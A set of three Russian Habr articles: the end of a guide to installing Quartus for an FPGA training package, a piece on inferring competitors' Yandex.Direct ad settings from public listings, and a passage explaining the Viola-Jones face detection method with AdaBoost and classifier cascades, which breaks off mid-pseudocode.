Quartus ставится под Linux без особых сюрпризов. Скачать его можно [отсюда](https://www.intel.com/content/www/us/en/software-kit/757261/intel-quartus-prime-lite-edition-design-software-version-22-1-for-linux.html). После инсталляции, когда вы его запустите и дойдете вот до этого места, нужно нажать "Run":
Я пробовал Quartus под Lubuntu, ALT Linux Образование, Simply Linux, Astra Linux, Ред ОС, ROSA Linux и Green Linux. Он везде работает, но инсталлятор путается в создании иконки на рабочем столе в русских дистрибутивах.
Вы можете создать иконку руками, заведите вот такой файл в "/home/$USER/Рабочий стол" (вместо "panchul" поставьте своего юзера):
```
[Desktop Entry]
Type=Application
Version=0.9.4
Name=Quartus (Quartus Prime 21.1) Lite Edition
Comment=Quartus (Quartus Prime 21.1)
Icon=/home/panchul/intelFPGA_lite/21.1/quartus/adm/quartusii.png
Exec=/home/panchul/intelFPGA_lite/21.1/quartus/bin/quartus --64bit
Terminal=false
Path=/home/panchul/gitflic/fpga-soldering-camp/boards/epm240_red
```
Перед тем, как вы попытаетесь сконфигурировать плату, вам нужно записать в директорию /etc/udev/rules.d файл с правилами для программатора USB Blaster. Самый простой способ это сделать - это просто кликнуть в скрипт под названием [ВЫПОЛНИ\_МЕНЯ\_ПРИ\_РАБОТЕ\_ПОД\_ЛИНУКСОМ\_ПЕРЕД\_ПЕРВЫМ\_ЗАПУСКОМ\_КВАРТУСА.bash](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/blob?file=scripts%2FRUN_ME_ON_LINUX_BEFORE_THE_FIRST_QUARTUS_RUN.bash) и потом ввести пароль. Этот файл находится сразу внутри директории разархивированного пакета [fpga-soldering-camp\_20230108\_gui\_oriented.zip](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/release/b9f3ada4-158d-4b59-8f1c-8e607803a038/fpga-soldering-camp_20230108_gui_oriented.zip/download). Правда вы должны быть в списке пользователей, которые имеют право сделать sudo. Проконсультируйтесь со знакомым линуксоидом, если вы не в курсе этого вопроса. Потом вы будете работать внутри GUI Quartus и вопросы администрирования Линукса теоретически вас больше не затронут:
Когда войдете в GUI, кликайте не на "File | Open", а на "File | Open Project" - эту ошибку делают все, даже я, после многих лет работы с квартусом. Потом действуйте по какой-нибудь инструкции в интернете, на худой конец попросите помощи в телеграм-канале [DigitalDesignSchool](https://t.me/DigitalDesignSchool) или [FPGA-Systems.ru](https://t.me/fpgasystems) или на вебсайте [Марсоход](https://marsohod.org/). Общая идея - Compile Design, Program Design, нажмите на checkbox, Start. Если не получается Start, нажмите Hardware Setup и кликните на USB Blaster.
Если программатор зависает, повтыкайте-повытыкайте, повходите-повыходите из квартуса, поперезагружайте. В Интеле эту часть продукта пишут не самые аккуратные программисты (самых аккуратных переманили в Гугл неподалеку), но после некоторого массажирования оно работает.
Если вы скачали [версию пакета для использования со скриптами](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/release/b9f3ada4-158d-4b59-8f1c-8e607803a038/fpga-soldering-camp_20230108_script_oriented.zip/download), [fpga-soldering-camp\_20230108\_script\_oriented.zip](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/release/b9f3ada4-158d-4b59-8f1c-8e607803a038/fpga-soldering-camp_20230108_script_oriented.zip/download), то вы наверное можете разобраться как она работает без меня. Если кратко - вы просто заходите в директорию каждого примера и запускаете скрипт ./03\_synthesize\_for\_fpga.bash . Скрипт создает временную директорию run для всех файлов, которые генерит Quartus, выполняет синтез, размещение, трассировку и конфигурацию ПЛИС. Вы только читаете текстовые отчеты о тайминге и ресурсах и смотрите на работу платы.
### Часть 13. Установка Quartus под Windows
Если вы очень не любите Linux и хотите использовать пакет под Windows, вы можете это сделать. К сожалению, у вас может возникнуть проблема с Windows 11, который не любит старые неподписанные драйверы для USB Blaster. Но на Windows 10 все скорее всего будет работать после того как вы обновите драйвер. Драйвер находится прямо в дистрибутиве квартуса:
Вы также можете использовать версию пакета fpga-soldering-camp со скриптами, но тогда вам нужно установить Git для Windows, который включает в себя bash и все необходимые программы. При установке Git под Windows стоит поставить вот такую опцию.
### Заключение
В заключение я хочу сказать, что в России есть платы [Марсоход](https://marsohod.org/shop/boards/brd-marsohod), которые полностью подходят для тех же целей, что и красная платка, которую я использовал для этого пакета. Просто красная платка для меня дешевле и мне ее проще заказать.
Информация о том, где купить платы, переходники и т.д. есть в README.md файле в пакете и в репозитории <https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp> . Если вы хотите помочь в разработке примеров, вы можете завести аккаунт на gitflic.ru , клонировать репозиторию и сообщать мне о вашем прогрессе. | https://habr.com/ru/post/715012/ | null | ru | null |
# Яндекс. Директ. Анализируем конкурентное окружение
Представьте ситуацию. Вы разрабатываете сайты. Хорошие сайты для хороших людей. Ваши рекламные кампании работают давно, вы вышли на хороший уровень ROI, заказы идут с завидной периодичностью. Все казалось бы хорошо, пока в один прекрасный день мы не получаем кучу писем от Директа, о том что мы кем-то вытеснены с насиженных позиций. Мы идем в выдачу и видим на своей любимой позиции незнакомый сайт конкурента. Естественным нашим желанием будет узнать что это за фрукт и на основании этой информации принять стратегическое решение – ввязываться ли в войну бюджетов (если это серьезный и жирный конкурент) или подпереть снизу и помочь слить бюджет (если это мелочевка).
«Но это же невозможно!» – Скажете вы. – «Любая система контекстной рекламы руководствуется принципами закрытого аукциона и не предоставляет своим рекламодателям информацию о конкурентах. Мы ведь не знаем ни ключевых запросов конкурента, ни настроек его РК. Не знаем использует он [минус-слова или кавычки](http://habrahabr.ru/blogs/context/107330/). Самое главное – мы не знаем его ставок и CTR»
Спокойствие, только спокойствие! (с)
В статье я расскажу, как по косвенным признакам узнать максимум стратегически важной информации о конкурентах, достаточной для принятия решений.
Чтобы показать на пальцах – возьмем конкретный запрос из тех, в которых высокая конкуренция и высокая текучка рекламодателей, например упомянутый *«разработка сайтов»*. Выдача Яндекса может многократно поменяться с момента публикации статьи, поэтому рассматривать примеры мы будем на скриншотах. Чтобы никому не сделать случайной рекламы (или антирекламы) ссылки и названия компаний на всех скриншотах, а также вся поисковая выдача убраны. Я не посещал ни один из сайтов в выдаче и анализирую рекламодателей в выдаче Директа исключительно по внешним факторам
#### Анализируем использование конкурентами минус-слов.
Это самое простое. Берем любой мусорный запрос из семантического ядра запроса разработка сайтов. Если не можете придумать мусорный запрос сами — wordstat.yandex.ru вам в помощь.
Компании 1,3,5 книжек очевидно не читали и про минус-слова не слышали. Долго они в таком режиме не продержатся и быстро сольют бюджеты при появлении любого серьезного конкурента. Компании 2,4,6,7 ведут себя умнее.
#### Анализируем использование конкурентами кавычек.
Все не менее просто. Берем бредовый запрос с потолка с заведомой нулевой частотностью.
Рекламодатели 1,3,5 подтвердили свое членство в клубе самоубийц. Рекламодатель 6 имеет в кампании длинную портянку из минус-слов. Любой неочевидный запрос (такой как наш) занижает ему CTR и повышает стоимость клика. Ошибка не столь фатальна по сравнению с предыдущими рекламодателями, но также приводит к повышенному расходу бюджета. Рекламодатели 4 и 7 оказались мудрее всех, взяв закавыченный запрос – по первичным признакам с ними сражаться будет сложнее всего. Более детальную информацию можно получить перебором целевых запросов и проверкой их наличия в выдаче. Наверняка они умны и осторожны, учитывая их изначально невысокие позиции по исходному запросу они не перегревают аукцион. Рекламодатель 2 имеет очевидно выбрал следующую тактику – разбил данное ключевое слово на 2 отдельных запроса а) запрос в точном соответствии – с высокой ставкой, б) запрос с длинной портянкой минус-слов – с низкой ставкой.
#### Узнаем геотаргетинг конкурентов.
Хозяйке на заметку: при клике по фразе в оценщике бюджета или в интерфейсе РК можно увидеть всех конкурентов разместившихся по пересекающимся фразам. Найдя в этой длинной телеге своих конкурентов – легко можно узнать их геотаргетинг.
Если РК раздроблена на регионы – эта информация вам не поможет, но здесь работает простой вывод: если конкурент не знает про минус-слова, про такие хитрости как дробление РК – ему и подавно не известно.
#### Узнаем ставки и CTR конкурентов
Как известно алгоритм определения позиции показа в Директе упрощенно можно представить так: у кого выше произведение ставки и CTR – тот выше в выдаче. Получается, что у нас уравнение с двумя неизвестными (**ставка** (неизвестна) x **CTR** (тоже неизвестен) = **позиция** (известна). Кажется что шансов докопаться до истины нет.
Однако, присмотритесь! Спасительная информация кроется за неприметной ссылкой «Все объявления»
Если внимательно прочитать помощь – то мы узнаем что:
`Отбор Рекламных объявлений для показа на страницах просмотра всех объявлений Яндекс.Директа и их распределение по страницам осуществляется в порядке уменьшения произведения кликабельности и цены на Клик. При этом порядковое место Рекламного объявления на странице определяется в соответствии с установленной ценой на Клик, т.е. отобранные Рекламные объявления размещаются на каждой странице в порядке уменьшения цены на Клик.`
БИНГО! Мы можем увидеть всех конкурентов в порядке убывания цены клика, без учета их CTR. Сравнивая исходную выдачу с выдачей на этой странице можно сделать ряд интересных и полезных выводов. Точных цифр сейчас мы конечно не получим (для оценки – нужно запустить собственную РК в данной тематике), но выводы об относительных ставках и CTR РК всех конкурентов по данному запросу сделать можно. Грубо говоря – если на странице выдачи вы находитесь на третьей позиции, а на странице «все объявления» — к примеру, на пятой, то значит ваш CTR выше чем у соответствующих этим позициям конкурентов и это хорошо. Если наоборот – это признак того что часть бюджета сливается впустую — срочно начинайте искать причины плохого CTR.
Кстати, при наработанном CTR и правильной настройке РК можно наслаждаться видом того как ваше объявление с крохотной ставкой тем, как ваше объявление с [крохотной ставкой](http://habrastorage.org/storage/32ce5754/9917fbcf/462ab9a5/c244c7c0.png) стоит в [спецразмещении](http://habrastorage.org/storage/3738cb8a/90ec507e/703e3f1a/f71b9b80.png), а конкуренты со ставками в десяток раз выше тужатся в тщетных попытках догнать вас…
Если не надоело – можно проанализировать ширину семантического ядра, используемого в РК (общий охват аудитории), использование синонимов, сленга и опечаток в качестве запросов, затачивает ли объявления под каждый НЧ запрос, использует ли роботов для управления РК
Суммарной информации, полученной в результате подобного анализа вам вполне хватит для принятия правильного решения о выборе стратегии по каждому конкуренту. Нелишним для принятия решения будет и анализ других факторов: анализ информации на сайте конторы, анализ отзывов их клиентов, данные конкурентной разведки (достаточно банального прозвона и общения с менеджером). Этого вполне хватит чтобы получить самое полное представление о перспективах конкурента на рынке.
Удачной битвы!
*PS. Принимаю от хабравчан заявки на детальное прощупывание конкурентов в любой тематике. Результаты будут опубликованы в виде аналогичной статьи.* | https://habr.com/ru/post/107790/ | null | ru | null |
# Метод Виолы-Джонса (Viola-Jones) как основа для распознавания лиц
Хотя метод был разработан и представлен в 2001 году Полом Виолой и Майклом Джонсом [1, 2], он до сих пор на момент написания моего поста является основополагающим для поиска объектов на изображении в реальном времени [2]. По следам [топика](http://habrahabr.ru/blogs/artificial_intelligence/67937/) хабраюзера [Indalo](https://habrahabr.ru/users/indalo/) о данном методе, я попытался сам написать программу, которая распознает эмоцию на моём лице, но, к сожалению, не увидел на Хабре недостающей теории и описания работы некоторых алгоритмов, кроме указания их названий. Я решил собрать всё воедино, в одном месте. Сразу скажу, что свою программу успешно написал по данным алгоритмам. Как получилось рассказать о них ниже, решать Вам, уважаемые Хабрачитатели!
Итак, сразу к делу.
### Описание метода Viola Jones
**Основные принципы**, на которых основан метод, таковы:
* используются изображения в **[интегральном представлении](http://habrahabr.ru/blogs/algorithm/102919/)**, что позволяет вычислять быстро необходимые объекты;
* используются **[признаки Хаара](http://en.wikipedia.org/wiki/Haar-like_features)**, с помощью которых происходит поиск нужного объекта (в данном контексте, лица и его черт);
* используется **[бустинг](http://machinelearning.ru/wiki/index.php?title=%D0%91%D1%83%D1%81%D1%82%D0%B8%D0%BD%D0%B3)** (от англ. **boost** – улучшение, усиление) для выбора наиболее подходящих признаков для искомого объекта на данной части изображения;
* все признаки поступают на вход **[классификатора](http://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%B4%D0%B0%D1%87%D0%B0_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%B8)**, который даёт результат «верно» либо «ложь»;
* используются **[каскады признаков](http://courses.graphicon.ru/main/vision/2011/lectures/7)** для быстрого отбрасывания окон, где не найдено лицо.
Обучение классификаторов идет очень медленно, но **результаты поиска лица очень быстры**, именно поэтому был выбран данный метод распознавания лиц на изображении. Виола-Джонс является одним из лучших по соотношению показателей эффективность распознавания/скорость работы. Также этот детектор обладает крайне низкой вероятностью ложного обнаружения лица. Алгоритм даже хорошо работает и распознает черты лица под небольшим углом, примерно до 30 градусов. При угле наклона больше 30 градусов процент обнаружений резко падает. И это не позволяет в стандартной реализации детектировать повернутое лицо человека под произвольным углом, что в значительной мере затрудняет или делает невозможным использование алгоритма в современных производственных системах с учетом их растущих потребностей.
Требуется подробный разбор принципов, на которых основан алгоритм Виолы-Джонса. Данный метод в общем виде ищет лица и черты лица по общему *принципу сканирующего окна*.
#### Принцип сканирующего окна
В общем виде, задача обнаружения лица и черт лица человека на цифровом изображении выглядит именно так:* имеется *изображение*, на котором *есть искомые объекты*. Оно представлено *двумерной матрицей пикселей размером w\*h*, в которой каждый пиксель имеет значение:
— `от 0 до 255`, если это черно-белое изображение;
— `от 0 до 2553`, если это цветное изображение (компоненты R, G, B).
* в результате своей работы, алгоритм должен определить лица и их черты и *пометить их* – поиск осуществляется в *активной области* изображения *прямоугольными признаками*, с помощью которых и описывается найденное лицо и его черты:
`rectanglei = {x,y,w,h,a},` (1.1)
где x, y – координаты центра i-го прямоугольника, w – ширина, h – высота, a – угол наклона прямоугольника к вертикальной оси изображения.
Иными словами, применительно к рисункам и фотографиям используется *подход на основе сканирующего окна (scanning window)*: сканируется изображение окном поиска (так называемое, окно сканирования), а затем применяется классификатор к каждому положению. *Система обучения* и выбора наиболее значимых признаков *полностью автоматизирована* и не требует вмешательства человека, поэтому данный подход работает быстро.
Задача поиска и нахождения лиц на изображении с помощью данного принципа часто бывает очередным шагом на пути к распознаванию характерных черт, к примеру, верификации человека по распознанному лицу или распознавания мимики лица.
#### Интегральное представление изображений
Для того, чтобы производить какие-либо действия с данными, используется *интегральное представление* изображений [3] в методе Виолы-Джонса. Такое представление используется часто и в других методах, к примеру, в вейвлет-преобразованиях, SURF и многих других разобранных алгоритмах. Интегральное представление позволяет быстро рассчитывать *суммарную яркость* произвольного прямоугольника на данном изображении, причем какой бы прямоугольник не был, время расчета неизменно.
Интегральное представление изображения – это *матрица, совпадающая по размерам с исходным изображением*. В каждом элементе ее хранится *сумма интенсивностей всех пикселей, находящихся левее и выше данного элемента*. Элементы матрицы рассчитываются по следующей формуле:
 (1.2)
где I(i,j) — яркость пикселя исходного изображения.
Каждый элемент матрицы L[x,y] представляет собой сумму пикселей в прямоугольнике от (0,0) до (x,y), т.е. значение каждого пикселя (x,y) равно сумме значений всех пикселов левее и выше данного пикселя (x,y). Расчет матрицы занимает линейное время, пропорциональное числу пикселей в изображении, поэтому интегральное изображение просчитывается за один проход.
Расчет матрицы возможен по формуле 1.3:
`L(x,y) = I(x,y) – L(x-1,y-1) + L(x,y-1) + L(x-1,y)` (1.3)
По такой интегральной матрице можно очень быстро вычислить сумму пикселей произвольного прямоугольника, произвольной площади.
Пусть в прямоугольнике ABCD есть интересующий нас объект D:
Из рисунка понятно, что сумму внутри прямоугольника можно выразить через суммы и разности смежных прямоугольников по следующей формуле:
`S(ABCD) = L(A) + L(С) — L(B) — L(D)` (1.4)
Примерный просчет показан на рисунке ниже:
#### Признаки Хаара
*Признак* — отображение f: X => Df, где Df — множество допустимых значений признака. Если заданы признаки f1,…,fn, то вектор признаков x = (f1(x),…,fn(x)) называется *признаковым описанием* объекта x ∈ X. Признаковые описания допустимо отождествлять с самими объектами. При этом множество X = Df1\* …\* Dfn называют признаковым пространством [1].
Признаки делятся на следующие типы в зависимости от множества Df:
* бинарный признак, Df = {0,1};
* номинальный признак: Df — конечное множество;
* порядковый признак: Df — конечное упорядоченное множество;
* количественный признак: Df — множество действительных чисел.
Естественно, бывают прикладные задачи с разнотипными признаками, для их решения подходят далеко не все методы.
В стандартном методе Виолы – Джонса используются прямоугольные признаки, изображенные на рисунке ниже, они называются *примитивами Хаара*:
В расширенном методе Виолы – Джонса, использующемся в библиотеке OpenCV используются дополнительные признаки:
Вычисляемым значением такого признака будет
`F = X-Y`, (1.5)
где X – сумма значений яркостей точек закрываемых *светлой частью признака*, а Y – сумма значений яркостей точек закрываемых *темной частью признака*. Для их вычисления используется понятие интегрального изображения, рассмотренное выше.
Признаки Хаара дают точечное значение *перепада яркости по оси X и Y соответственно*.
#### Сканирование окна
Визуализация сканирующего окна в программе:
Алгоритм сканирования окна с признаками выглядит так:
* есть исследуемое изображение, выбрано окно сканирования, выбраны используемые признаки;
* далее окно сканирования начинает последовательно двигаться по изображению с шагом в 1 ячейку окна (допустим, размер самого окна есть 24\*24 ячейки);
* при сканировании изображения в каждом окне вычисляется приблизительно 200 000 вариантов расположения признаков, за счет изменения масштаба признаков и их положения в окне сканирования;
* сканирование производится последовательно для различных масштабов;
* масштабируется не само изображение, а сканирующее окно (изменяется размер ячейки);
* все найденные признаки попадают к классификатору, который «выносит вердикт».
В процессе поиска вычислять все признаки на маломощных настольных ПК просто нереально. Следовательно, классификатор должен реагировать *только на определенное, нужное подмножество* всех *признаков*. Совершенно логично, что надо обучить классификатор нахождению лиц по данному определенному подмножеству. Это можно сделать, обучая вычислительную машину *автоматически*.
#### Используемая в алгоритме модель машинного обучения
**Обучение машины** — это процесс получения модулем новых знаний. Есть признанное определение данному процессу: *> «Машинное обучение — это наука, изучающая компьютерные алгоритмы, автоматически улучшающиеся во время работы» (Michel, 1996)*. Ниже показан процесс обучения машины:
Данный процесс входит в концепцию и технологию под названием *[Data mining](http://ru.wikipedia.org/wiki/Data_mining) (извлечение информации и интеллектуальный анализ данных)*, куда входят помимо Машинного обучения такие дисциплины, как Теория баз данных, Искусственный интеллект, Алгоритмизация, Распознавание образов и прочие.
Машинное обучение в методе Виолы-Джонса решает такую задачу как *классификация*.
#### Обучение классификатора в методе Виолы-Джонса
В контексте алгоритма, имеется множество объектов (изображений), разделённых некоторым образом на классы. Задано конечное множество изображений, для которых известно, к какому классу они относятся (к примеру, это может быть класс «фронтальное положение носа»). Это множество называется *обучающей выборкой*. Классовая принадлежность остальных объектов не известна. Требуется построить алгоритм, способный классифицировать произвольный объект из исходного множества [4].
**Классифицировать объект** — значит, указать номер (или наименование класса), к которому относится данный объект.
**Классификация объекта** — номер или наименование класса, выдаваемые алгоритмом классификации в результате его применения к данному конкретному объекту.
**Классификатор(classifier)** — в задачах классификации это аппроксимирующая функция, выносящая решение, к какому именно классу данный объект принадлежит.
**Обучающая выборка** – конечное число данных.
В машинном обучении задача классификации относится к разделу **обучения с учителем** *когда классы поделены*. Распознавание образов по сути своей и есть классификация изображений и сигналов. В случае алгоритма Виолы-Джонса для идентификации и распознавания лица классификация является *двухклассовой*.
*Постановка* классификации выглядит следующим образом:
Есть X – множество, в котором хранится описание объектов, Y – конечное множество номеров, принадлежащих классам. Между ними есть зависимость – отображение Y\*: X => Y. Обучающая выборка представлена `Xm = {(x1,y1), …, (xm,ym)}`. Конструируется функция f от вектора признаков X, которая выдает ответ для любого возможного наблюдения X и способна классифицировать объект x∈X. Данное простое правило должно хорошо работать и на новых данных.
#### Применяемый в алгоритме бустинг и разработка AdaBoost
Для решения проблемы данного, столь сложного обучения существует технология *бустинга*.
Бустинг — комплекс методов, способствующих повышению точности аналитических моделей. *Эффективная модель, допускающая мало ошибок классификации*, называется *«сильной»*. *«Слабая»* же, напротив, *не позволяет надежно* разделять классы или давать точные предсказания, делает в работе большое количество ошибок. Поэтому **бустинг** (от англ. boosting – повышение, усиление, улучшение) означает дословно **«усиление» «слабых» моделей** [5] – это процедура последовательного построения композиции алгоритмов машинного обучения, когда каждый следующий алгоритм стремится компенсировать недостатки композиции всех предыдущих алгоритмов.
Идея бустинга была *предложена Робертом Шапиром (Schapire)* в конце 90-х годов [6], когда надо было найти решение вопроса о том, чтобы имея множество плохих (незначительно отличающихся от случайных) алгоритмов обучения, получить один хороший. В основе такой идеи лежит построение *цепочки (ансамбля) классификаторов* [5, 6], который называется **каскадом**, каждый из которых (кроме первого) *обучается на ошибках предыдущего*. Например, один из первых алгоритмов бустинга Boost1 использовал каскад из 3-х моделей, первая из которых обучалась на всем наборе данных, вторая – на выборке примеров, в половине из которых первая дала правильные ответы, а третья — на примерах, где «ответы» первых двух разошлись. Таким образом, имеет место последовательная обработка примеров каскадом классификаторов, причем так, что задача для каждого последующего становится труднее. Результат определяется путем простого голосования: пример относится к тому классу, который выдан большинством моделей каскада.
Бустинг представляет собой [*жадный алгоритм*](http://ru.wikipedia.org/wiki/%D0%96%D0%B0%D0%B4%D0%BD%D1%8B%D0%B9_%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC) построения композиции алгоритмов (greedy algorithm) — это алгоритм, который на каждом шагу делает локально наилучший выбор в надежде, что итоговое решение будет оптимальным. Бустинг над решающими деревьями считается одним из наиболее эффективных методов с точки зрения качества классификации. Во многих экспериментах наблюдалось практически неограниченное уменьшение частоты ошибок на независимой тестовой выборке по мере наращивания композиции. Более того, качество на тестовой выборке часто продолжало улучшаться даже после достижения безошибочного распознавания всей обучающей выборки. Это перевернуло существовавшие долгое время представления о том, что для повышения обобщающей способности необходимо ограничивать сложность алгоритмов. На примере бустинга стало понятно, что хорошим качеством могут обладать *сколь угодно сложные композиции*, если их правильно настраивать [5].
*Математически* бустинг объянсяется так:
Наряду с множествами X и Y вводится вспомогательное множество R, называемое *пространством оценок*. Рассматриваются алгоритмы, имеющие вид суперпозиции a(x) = C(b(x)), где функция b: X → R называется *алгоритмическим оператором*, функция C: R → Y –*решающим правилом*.
Многие алгоритмы классификации имеют именно такую структуру: сначала вычисляются оценки принадлежности объекта классам, затем решающее правило переводит эти оценки в номер класса. Значение оценки, как правило, характеризует степень уверенности классификации.
*Алгоритмическая композиция* – алгоритм a: X → Y вида
`a(x) = C(F(b1(x), . . . , bT (x)), x ∈ X` (1.6)
, составленный из алгоритмических операторов bt :X→R, t=1,..., T, корректирующей операции F: RT→R и решающего правила C: R→Y.
*Базовыми алгоритмами* обозначаются функции at(x) = C(bt(x)), а при фиксированном решающем правиле C — и сами операторы bt(x).
Суперпозиции вида F(b1,..., bT ) являются отображениями из X в R, то есть, опять же, алгоритмическими операторами.
В задачах классификации на два непересекающихся класса в качестве пространства оценок обычно используется множество действительных чисел. Решающие правила могут иметь настраиваемые параметры. Так, в алгоритме Виолы-Джонса используется *пороговое решающее правило*, где, как правило, сначала строится оператор при нулевом значении, а затем подбирается значение оптимальное. Процесс последовательного обучения базовых алгоритмов применяется, пожалуй, чаще всего при построении композиций.
*Критерии останова* могут использоваться различные, в зависимости от специфики задачи, возможно также совместное применение нескольких критериев:* построено заданное количество базовых алгоритмов T;
* достигнута заданная точность на обучающей выборке;
* достигнутую точность на контрольной выборке не удаётся улучшить на протяжении последних нескольких шагов при определенном параметре алгоритма.
Развитием данного подхода явилась разработка более совершенного семейства алгоритмов бустинга **AdaBoost** (*adaptive boosting* – адаптированное улучшение), предложенная Йоавом Фройндом (Freund) и Робертом Шапиром (Schapire) в 1999 году [9], который может использовать произвольное число классификаторов и производить обучение на одном наборе примеров, поочередно применяя их на различных шагах.
Рассматривается задача классификации на два класса, Y = {−1,+1}. К примеру, базовые алгоритмы также возвращают только два ответа −1 и +1, и решающее правило фиксировано: C(b) = sign(b). Искомая алгоритмическая композиция имеет вид:
 (1.7)
Функционал качества композиции Qt определяется как число ошибок, допускаемых ею на обучающей выборке:
 (1.8)
где Wl = (w1, …, wl) – вектор весов объектов.
Для решения задачи AdaBoosting’а нужна экспоненциальная аппроксимация пороговой функции потерь [z<0], причем экспонента Ez = e-z (видно на рисунке, демонстрирующем работу AdaBoost ниже).
Итак, *общий алгоритм* адаптивного усиления, AdaBoost, выглядит следующим образом:
`Дано:
* Y = {−1,+1},
* b1(x), . . . , bT (x) возвращают −1 и + 1,
* Xl – обучающая выборка.`
`Решение:
1. Инициализация весов объектов:
wi:= 1/ℓ, i = 1, . . . , ℓ; (1.9)
для всех t = 1, . . . , T, пока не выполнен критерий останова:
2 а.  (1.10)
2 б.  (1.11)
3. Пересчёт весов объектов. Правило мультипликативного пересчёта весов. Вес объекта увеличивается в  раз, когда bt допускает на нём ошибку, и во столько же раз уменьшается, когда bt правильно классифицирует xi. Таким образом, непосредственно перед настройкой базового алгоритма наибольший вес накапливается у тех объектов, которые чаще оказывались трудными для предыдущих алгоритмов:
 (1.12)
4. Нормировка весов объектов:
 (1.13)`
Реализация AdaBoost на этапах подготовки, 2ого шага, 12ого и 642ого показана на рисунке. После построения некоторого количества базовых алгоритмов (скажем, пары десятков) нужно проанализировать распределение весов объектов. Объекты с наибольшими весами wi, возможно, являются шумовыми выбросами, которые стоит исключить из выборки, после чего начать построение композиции заново.
Плюсы AdaBoost:
* хорошая обобщающая способность. В реальных задачах практически всегда строятся композиции, превосходящие по качеству базовые алгоритмы. Обобщающая способность может улучшаться по мере увеличения числа базовых алгоритмов;
* простота реализации;
* собственные накладные расходы бустинга невелики. Время построения композиции практически полностью определяется временем обучения базовых алгоритмов;
* возможность идентифицировать объекты, являющиеся шумовыми выбросами. Это наиболее «трудные» объекты xi, для которых в процессе наращивания композиции веса wi принимают наибольшие значения.
Минусы AdaBoost:
* Бывает переобучение при наличии значительного уровня шума в данных. Экспоненциальная функция потерь слишком сильно увеличивает веса «наиболее трудных» объектов, на которых ошибаются многие базовые алгоритмы. Однако именно эти объекты чаще всего оказываются шумовыми выбросами. В результате AdaBoost начинает настраиваться на шум, что ведёт к переобучению. Проблема решается путём удаления выбросов или применения менее «агрессивных» функций потерь. В частности, применяется алгоритм GentleBoost;
* AdaBoost требует достаточно длинных обучающих выборок. Другие методы линейной коррекции, в частности, бэггинг, способны строить алгоритмы сопоставимого качества по меньшим выборкам данных;
* Бывает построение неоптимального набора базовых алгоритмов. Для улучшения композиции можно периодически возвращаться к ранее построенным алгоритмам и обучать их заново.
* Бустинг может приводить к построению громоздких композиций, состоящих из сотен алгоритмов. Такие композиции исключают возможность содержательной интерпретации, требуют больших объёмов памяти для хранения базовых алгоритмов и существенных временных затрат на вычисление классификаций.
В наши дни подход усиления простых классификаторов является популярным и, вероятно, наиболее эффективным методом классификации за счёт высокой скорости и эффективности работы и относительной простоты реализации.
#### Принципы решающего дерева в разрабатываемом алгоритме
*Дерево принятия решений* — это дерево, в листьях которого стоят значения целевой функции, а в остальных узлах — условия перехода (к примеру, на Лице есть Улыбка), определяющие по какому из ребер идти. Если для данного наблюдения условие равно истине то осуществляется переход по левому ребру, если же ложь — по правому [4]. Для примера, дерево представлено на следующем рисунке:
Примерный *алгоритм создания* решающего дерева приведен ниже:
`function Node = Обучение_Вершины( {(x,y)} ) {
if {y} одинаковые
return Создать_Лист(y);
test = Выбрать_лучшее_разбиение( {(x,y)} );
{(x0,y0)} = {(x,y) | test(x) = 0};
{(x1,y1)} = {(x,y) | test(x) = 1};
LeftChild = Обучение_Вершины( {(x0,y0)} );
RightChild = Обучение_Вершины( {(x1,y1)} );
return Создать_Вершину(test, LeftChild, RightChild);
}
//Обучение дерева
function main() {
{(X,Y)} = Прочитать_Обучающие_Данные();
TreeRoot = Обучение_Вершины( {(X,Y)} );
}`
Достоинствами таких решающих деревьев являются наглядность, легкость работы с ними, быстродействие. Также, они легко применяются для задач с множеством классов.
#### Каскадная модель разрабатываемого алгоритма
Алгоритм бустинга для поиска лиц с моей точки зрения таков:
1. Определение слабых классификаторов по прямоугольным признакам;
2. Для каждого перемещения сканирующего окна вычисляется прямоугольный признак на каждом примере;
3. Выбирается наиболее подходящий порог для каждого признака;
4. Отбираются лучшие признаки и лучший подходящий порог;
5. Перевзвешивается выборка.
*Каскадная модель сильных классификаторов* – это по сути то же дерево принятия решений, где каждый узел дерева построен таким образом, чтобы детектировать почти все интересующие образы и отклонять регионы, не являющиеся образами. Помимо этого, узлы дерева размещены таким образом, что чем ближе узел находится к корню дерева, тем из меньшего количества примитивов он состоит и тем самым требует меньшего времени на принятие решения. Данный вид каскадной модели хорошо подходит для обработки изображений, на которых общее количество детектируемых образов мало.
В этом случае метод может быстрее принять решение о том, что данный регион не содержит образ, и перейти к следующему. Пример каскадной модели сильных классификаторов:
Сложность обучения таких каскадов равна О(xyz), где применяется x этапов, y примеров и z признаков.
Далее, каскад применяется к изображению:
1. Работа с «простыми» классификаторами – при этом отбрасывается часть «отрицательных» окон;
2. Положительное значение первого классификатора запускает второй, более приспособленный и так далее;
3. Отрицательное значение классификатора на любом этапе приводит к немедленному переходу к следующему сканирующему окну, старое окно отбрасывается;
4. Цепочка классификаторов становится более сложной, поэтому ошибок становится намного меньше.
Для тренировки такого каскада потребуются следующие действия:
1. Задаются значения уровня ошибок для каждого этапа (предварительно их надо количественно просмотреть при применении к изображению из обучающего набора) – они называются *detection* и *false positive rates* – надо чтобы уровень detection был высок, а уровень false positive rates низок;
2. Добавляются признаки до тех пор, пока параметры вычисляемого этапа не достигнут поставленного уровня, тут возможны такие вспомогательные этапы, как:
а. Тестирование дополнительного маленького тренировочного набора;
б. Порог AdaBoost умышленно понижается с целью найти больше объектов, но в связи с этим возможно большее число неточных определений объектов;
3. Если false positive rates остается высоким, то добавляется следующий этап или слой;
4. Ложные обнаружения в текущем этапе используются как отрицательные уже на следующем слое или этапе.
В *более формальном виде* алгоритм тренировки каскада задан ниже:
`a) Пользователь задает значения f (максимально допустимый уровень ложных срабатываний на слой) и d (минимально допустимый уровень обнаружений на слой)
b) Пользователь задает целевой общий уровень ложных срабатываний Ftarget
c) P – набор положительных примеров
d) N – набор отрицательных примеров
e) F0 = 1,0; D0 = 1,0; i = 0
f) while ( Fi > Ftarget)
i = i+1; ni = 0; Fi = Fi-1
while (Fi = f * Fi-1 )
ni = ni + 1
